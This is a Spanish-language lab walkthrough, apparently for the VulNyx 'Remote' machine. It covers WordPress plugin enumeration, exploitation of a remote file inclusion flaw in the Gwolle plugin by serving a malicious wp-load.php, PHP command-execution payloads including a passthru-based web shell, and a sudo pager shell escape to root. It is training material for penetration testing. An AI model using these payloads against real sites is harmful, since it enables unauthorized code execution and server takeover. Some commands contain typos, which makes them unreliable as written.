> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/anotaciones-hacking-web/rfi.md).

# RFI

{% embed url="<https://vulnyx.com/#remote>" %}

***

{% embed url="<https://www.youtube.com/watch?v=w5-MZoX27YM>" %}

***

### Enumeración de WordPress

Detección versión de WordPress.

```bash
whatweb htp://domain.nyx
```

#### WPSCAN

Enumeración de los plugins usando el modo agresivo.

```bash
wpscan --url http://domain.nyx -e ap --plugins-detection aggressive
```

#### NMAP

Enumeración de plugins usando NSE.

```bash
nmap -p80 --script hhtp-wordpress-enum --script-args http-wordpress-enum.root='/wordpress',search-limit=1000 domain.nyx
```

***

### RFI

En exploitdb encontramos que la versión de un plugin que usa el sitio WP es vulnerable a un RFI.

```bash
searchsploit gwolle
```

{% embed url="<https://www.exploit-db.com/exploits/38861>" %}

Montamos un servidor con python y servimos un fichero malicioso que será incluido en el parámetro vulnerable.

```bash
sudo python -m http.server 80
```

El fichero que vamos a servir es un script en php que si es interpretado por el servidor web, mostrará información sobre PHP.

{% code title="wp-load.php" %}

```php
<?php phpinfo(); ?>
```

{% endcode %}

En este caso es importante que el fichero se llame `wp-load.php` ya el plugin hace una solicitud por get solicitando el endpoint wp-load.php automáticamente.

***

#### system()

A través de la función system() de php podemos hacer llamadas al sistema, es decir ejecutar comandos del sistema. Si el fichero malicioso PHP es interpretado por el servidor web, la salida estándar de los comandos se mostrarán en el navegador

{% code title="wp-load.php" %}

```php
<?php system('id'); ?>
```

{% endcode %}

***

#### passthru

EL SIGUIENTE CÓDIGO LLAMA A LA FUNCIÓN PASSTHRU PARA EJECUTAR UN PROGRAMA EXTERNO, Y DENTRO DE LA FUNCIÓN SE AÑADE UN SUPER GLOBAL PARA OBTENER LOS PARAMETROS PASADOS A TRAVES DE LA URL MEDIANTE EL MÉTODO GET Y OBTENIENDO EL VALOR DEL PARÁMETRO CMD.

EL VALOR QUE TENGA EL PARÁMETRO CMD, SERÁ EL VALOR QUE RECIBIRÁ LA FUNCIÓN Y POR CONSECUENCIA SE VA A EJECUTAR A NIVEL DEL SO.&#x20;

ES UNA WEB SHELL.

```bash
<?php passthru($_GET['cmd']); ?>
```

LA PETICIÓN SE ALMACENA EN EL LOG, PERO EL CÓDIGO EN PHP NO SE MUESTRA LO QUE PUEDE SIGNIFICAR QUE EL CÓDIGO EN PHP SI LOGRO EJECUTARSE.

PARA COMPROBARLO, EN LA URL LLAMAMOS AL PARÁMETRO CMD SEGUIDO DE UN & Y EJECUTAMOS UN COMANDO A NIVEL DEL SO, COMO ID, LS O WHOAMI, COMANDO QUE SE ENVIARÁ A LA FUNCIÓN PASSTHRU.

***

### ESCALACIÓN DE PRIVILEGIOS

La contraseña de para acceder a la base de datos de wp, es la misma para iniciar sesión como el usuario tiago en el sistema Linux.

El usuatio tiago puede ejecutar un binario como el usuario root sin proporcionar contraseña, leyendo la ayuda de dicho comando encontraras que una opcion permite ver el manual del comando. Al ejecutar el comando con sudo y con dicha opcion entraremos en modo paginado, entonces efectuamos un shell escape.

{% code title="" %}

```bash
!/bin/bash
```

{% endcode %}
